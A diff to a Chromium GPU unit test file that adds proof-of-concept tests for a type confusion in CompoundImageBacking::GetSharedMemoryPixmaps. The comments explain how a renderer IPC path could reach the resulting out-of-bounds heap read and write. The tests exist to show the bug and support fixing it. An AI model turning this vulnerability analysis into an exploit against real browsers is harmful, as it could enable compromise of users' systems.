diff --git a/gpu/command_buffer/service/shared_image/compound_image_backing_unittest.cc b/gpu/command_buffer/service/shared_image/compound_image_backing_unittest.cc index 4b91671c41a30..f6185844efaf7 100644 --- a/gpu/command_buffer/service/shared_image/compound_image_backing_unittest.cc +++ b/gpu/command_buffer/service/shared_image/compound_image_backing_unittest.cc @@ -161,6 +161,70 @@ class CompoundImageBackingTest : public testing::Test { return false; } + // ---- Helpers for the type-confusion POC tests below. ---- + // These exist on the fixture because CompoundImageBackingTest is a friend + // of CompoundImageBacking; the per-TEST_F generated classes are not. + + // Construct a CompoundImageBacking via the WrapExternalBacking constructor + // (private). This mirrors CompoundImageBacking::WrapExternalBacking exactly, + // minus the SharedImageFactory consultation. + std::unique_ptr WrapExternal( + std::unique_ptr backing) { + backing->SetNotRefCounted(); + return std::unique_ptr(new CompoundImageBacking( + /*is_thread_safe=*/false, + /*buffer_usage=*/std::nullopt, std::move(backing), copy_manager_, + /*shared_image_factory=*/base::WeakPtr())); + } + + // Verify the WrapExternalBacking constructor gave elements_[0] the kMemory + // stream and that the backing is NOT a SharedMemoryImageBacking. + void CheckWrappedElementHasMemoryStream(CompoundImageBacking* backing) + NO_THREAD_SAFETY_ANALYSIS { + ASSERT_EQ(backing->elements_.size(), 1u); + EXPECT_TRUE(backing->elements_[0].access_streams.Has( + SharedImageAccessStream::kMemory)); + EXPECT_NE(backing->elements_[0].backing->GetType(), + SharedImageBackingType::kSharedMemory); + } + + // Direct call to the vulnerable function. Returns the type-confused + // reference to "pixmaps_" at SharedMemoryImageBacking's offset. + const std::vector& CallGetSharedMemoryPixmaps( + CompoundImageBacking* backing) { + return backing->GetSharedMemoryPixmaps(); + } + + // Simulate kUseDynamicBackingAllocations adding a second element with only + // {kGL} (compound_image_backing.cc:1684), then a write access marking it + // latest (compound_image_backing.cc:1083-1085). + void AddGpuElementAndMarkLatest(CompoundImageBacking* backing, + std::unique_ptr gpu) + NO_THREAD_SAFETY_ANALYSIS { + gpu->SetNotRefCounted(); + CompoundImageBacking::ElementHolder gpu_element; + gpu_element.access_streams.Put(SharedImageAccessStream::kGL); + gpu_element.backing = std::move(gpu); + backing->elements_.push_back(std::move(gpu_element)); + + backing->latest_content_id_++; + backing->elements_[1].content_id_ = backing->latest_content_id_; + + ASSERT_FALSE(backing->HasLatestContent(backing->elements_[0])); + ASSERT_TRUE(backing->HasLatestContent(backing->elements_[1])); + } + + // Swap the wrapped backing in elements_[0] with a freshly-allocated one. + // Used to ensure the wrapped backing is the most recent heap allocation, + // so its right redzone is not covered by later allocations and ASAN can + // observe the OOB read. + void SwapWrappedBacking(CompoundImageBacking* compound, + std::unique_ptr fresh) + NO_THREAD_SAFETY_ANALYSIS { + fresh->SetNotRefCounted(); + compound->elements_[0].backing = std::move(fresh); + } + // Create a compound backing containing shared memory + GPU backing. std::unique_ptr CreateCompoundBacking( SharedImageUsageSet usage) { @@ -442,6 +506,197 @@ TEST_F(CompoundImageBackingTest, LazyAllocationFailsFactoryInvalidated) { EXPECT_FALSE(HasGpuCreateBackingCallback(compound_backing)); } +// ============================================================================= +// POC: Type confusion in GetSharedMemoryPixmaps via WrapExternalBacking +// ============================================================================= +// +// CompoundImageBacking::WrapExternalBacking wraps an arbitrary backing in a +// CompoundImageBacking and sets its element.access_streams = +// AccessStreamSet::All() (compound_image_backing.cc:982). This includes +// SharedImageAccessStream::kMemory, regardless of the wrapped backing's actual +// type. +// +// GetShmElement() (compound_image_backing.cc:1608-1617) returns the first +// element with kMemory in its stream set, with no runtime type check. +// GetSharedMemoryPixmaps() (compound_image_backing.cc:1600-1606) then performs +// an unchecked static_cast to SharedMemoryImageBacking* and calls the +// non-virtual pixmaps() method, which returns a reference to the pixmaps_ +// member at a fixed offset past SharedMemoryRegionWrapper + +// gfx::GpuMemoryBufferHandle. +// +// When the wrapped backing is NOT a SharedMemoryImageBacking and is smaller, +// reading pixmaps_ at SharedMemoryImageBacking's offset is out-of-bounds. +// +// On Windows the renderer can trigger this via the CopyToGpuMemoryBufferAsync +// mojo IPC after first inducing dynamic allocation of a second element (so +// that GetGpuBacking() returns non-null and the wrapped element is stale). +// The type-confused vector reference is then passed to ReadbackToMemoryAsync, +// which writes attacker-controlled GPU texture data to the fake SkPixmap +// fPixels addresses found in adjacent heap memory. +// +// This test demonstrates the type confusion on a minimal backing that contains +// no derived members at all, so the pixmaps_ offset is guaranteed to land +// past the end of the heap allocation. + +namespace { + +// Minimal SharedImageBacking with NO derived members. Its allocation size is +// exactly sizeof(SharedImageBacking). SharedMemoryImageBacking::pixmaps_ sits +// after SharedMemoryRegionWrapper (WritableSharedMemoryMapping + +// vector) and gfx::GpuMemoryBufferHandle, so reading at that offset +// from a TinyImageBacking* is out-of-bounds. +class TinyImageBacking final : public SharedImageBacking { + public: + TinyImageBacking(const Mailbox& mailbox, + viz::SharedImageFormat format, + const gfx::Size& size, + const gfx::ColorSpace& color_space, + GrSurfaceOrigin surface_origin, + SkAlphaType alpha_type, + SharedImageUsageSet usage, + size_t estimated_size) + : SharedImageBacking(mailbox, + format, + size, + color_space, + surface_origin, + alpha_type, + usage, + "TinyImageBacking", + estimated_size, + /*is_thread_safe=*/false) {} + + SharedImageBackingType GetType() const override { + return SharedImageBackingType::kTest; + } + gfx::Rect ClearedRect() const override { return gfx::Rect(size()); } + void SetClearedRect(const gfx::Rect&) override {} + // No additional members. +}; + +// GPU backing that actually dereferences the pixmaps vector it receives, +// exactly as a real backing's ReadbackToMemory would (e.g. +// GLTextureImageBacking::ReadbackToMemory iterates pixmaps[i] and writes to +// pixmap.writable_addr()). +class DereferencingGpuBacking final : public SharedImageBacking { + public: + using SharedImageBacking::SharedImageBacking; + + SharedImageBackingType GetType() const override { + return SharedImageBackingType::kTest; + } + gfx::Rect ClearedRect() const override { return gfx::Rect(size()); } + void SetClearedRect(const gfx::Rect&) override {} + + bool ReadbackToMemory(const std::vector& pixmaps) override { + // The pixmaps reference points past the end of the TinyImageBacking heap + // chunk. Touching .size() reads the vector's begin/end pointers from + // out-of-bounds memory. + volatile size_t s = pixmaps.size(); + (void)s; + return true; + } +}; + +} // namespace + +// Direct demonstration of the type confusion: wrap a non-SharedMemory backing +// via the WrapExternalBacking constructor and call GetSharedMemoryPixmaps(). +TEST_F(CompoundImageBackingTest, + TypeConfusion_WrapExternalBacking_GetSharedMemoryPixmaps) { + static_assert(sizeof(TinyImageBacking) < sizeof(SharedMemoryImageBacking), + "TinyImageBacking must be smaller so the pixmaps_ read is " + "past the end of its heap allocation"); + + constexpr gfx::Size kSize(100, 100); + auto tiny = std::make_unique( + Mailbox::Generate(), viz::SinglePlaneFormat::kRGBA_8888, kSize, + gfx::ColorSpace(), kTopLeft_GrSurfaceOrigin, kOpaque_SkAlphaType, + SharedImageUsageSet({SHARED_IMAGE_USAGE_DISPLAY_READ}), + kTestBackingSize); + + // WrapExternalBacking constructor sets elements_[0].access_streams = + // AccessStreamSet::All(), which includes kMemory, regardless of the + // wrapped backing's actual type. + auto compound = WrapExternal(std::move(tiny)); + CheckWrappedElementHasMemoryStream(compound.get()); + + // Type confusion: GetShmElement() returns elements_[0] (it has kMemory), + // and GetSharedMemoryPixmaps() does: + // static_cast(shm_backing)->pixmaps() + // pixmaps() is non-virtual and returns this->pixmaps_, computing an address + // at offset(SharedMemoryImageBacking::pixmaps_). For our TinyImageBacking + // that offset is past the end of the heap allocation. + // + // Dereferencing the returned vector reference (.size() reads the vector's + // internal begin/end pointers) is an out-of-bounds heap read. + const std::vector& confused = + CallGetSharedMemoryPixmaps(compound.get()); + volatile size_t sz = confused.size(); + (void)sz; +} + +// Full IPC-reachable path: CopyToGpuMemoryBufferAsync (Windows-only mojo IPC +// from renderer) reaches GetSharedMemoryPixmaps() when the wrapped element is +// stale and a second GPU-only element exists. With kUseDynamicBackingAllocations +// (active Finch trial), GetOrAllocateBacking creates such an element when the +// wrapped backing's SupportsAccess returns false for the requested stream. +TEST_F(CompoundImageBackingTest, + TypeConfusion_WrapExternalBacking_CopyToGpuMemoryBufferAsync) { + constexpr gfx::Size kSize(100, 100); + + // (1) WrapExternalBacking with a non-SharedMemory backing. + auto tiny = std::make_unique( + Mailbox::Generate(), viz::SinglePlaneFormat::kRGBA_8888, kSize, + gfx::ColorSpace(), kTopLeft_GrSurfaceOrigin, kOpaque_SkAlphaType, + SharedImageUsageSet({SHARED_IMAGE_USAGE_DISPLAY_READ}), + kTestBackingSize); + auto compound = WrapExternal(std::move(tiny)); + + // (2) Simulate dynamic allocation: GetOrAllocateBacking would push a second + // element with access_streams = {kGL} (compound_image_backing.cc:1684) when + // the wrapped backing's SupportsAccess returns false for kGL. The second + // element does NOT have kMemory, so GetGpuBacking() will return it. + // (3) Simulate write access on elements_[1]: NotifyBeginAccess with write + // mode marks it latest, leaving elements_[0] stale. + AddGpuElementAndMarkLatest( + compound.get(), + std::make_unique( + compound->mailbox(), viz::SinglePlaneFormat::kRGBA_8888, kSize, + gfx::ColorSpace(), kTopLeft_GrSurfaceOrigin, kOpaque_SkAlphaType, + SharedImageUsageSet({SHARED_IMAGE_USAGE_GLES2_READ}), "GpuBacking", + kTestBackingSize, /*is_thread_safe=*/false)); + + // ASAN-layout helper: replace elements_[0].backing with a fresh allocation. + // After (1)-(3), the heap holds CompoundImageBacking, the elements_ vector + // buffer (reallocated by push_back), and DereferencingGpuBacking, any of + // which may sit in the address range past TinyImageBacking and absorb the + // OOB read. Allocating the wrapped backing last ensures its right redzone + // is unobstructed. The state being tested is identical: a non-SharedMemory + // backing in elements_[0] with AccessStreamSet::All(). + SwapWrappedBacking( + compound.get(), + std::make_unique( + compound->mailbox(), viz::SinglePlaneFormat::kRGBA_8888, kSize, + gfx::ColorSpace(), kTopLeft_GrSurfaceOrigin, kOpaque_SkAlphaType, + SharedImageUsageSet({SHARED_IMAGE_USAGE_DISPLAY_READ}), + kTestBackingSize)); + + // (4) Renderer sends CopyToGpuMemoryBufferAsync mojo IPC. + // -> GetShmElement() returns elements_[0] (has kMemory) + // -> HasLatestContent false (elements_[0] is stale) + // -> GetGpuBacking() returns elements_[1] (no kMemory) + // -> GetSharedMemoryPixmaps() + // static_cast(elements_[0].backing) + // ->pixmaps() <-- TYPE CONFUSION + // -> gpu_backing->ReadbackToMemoryAsync(confused_pixmaps_ref, ...) + // ReadbackToMemory dereferences the OOB vector reference. + bool callback_ran = false; + compound->CopyToGpuMemoryBufferAsync(base::BindOnce( + [](bool* ran, bool /*success*/) { *ran = true; }, &callback_ran)); + EXPECT_TRUE(callback_ran); +} + TEST_F(CompoundImageBackingTest, Multiplanar) { auto backing = CreateMultiplanarCompoundBacking(); auto* compound_backing = static_cast(backing.get());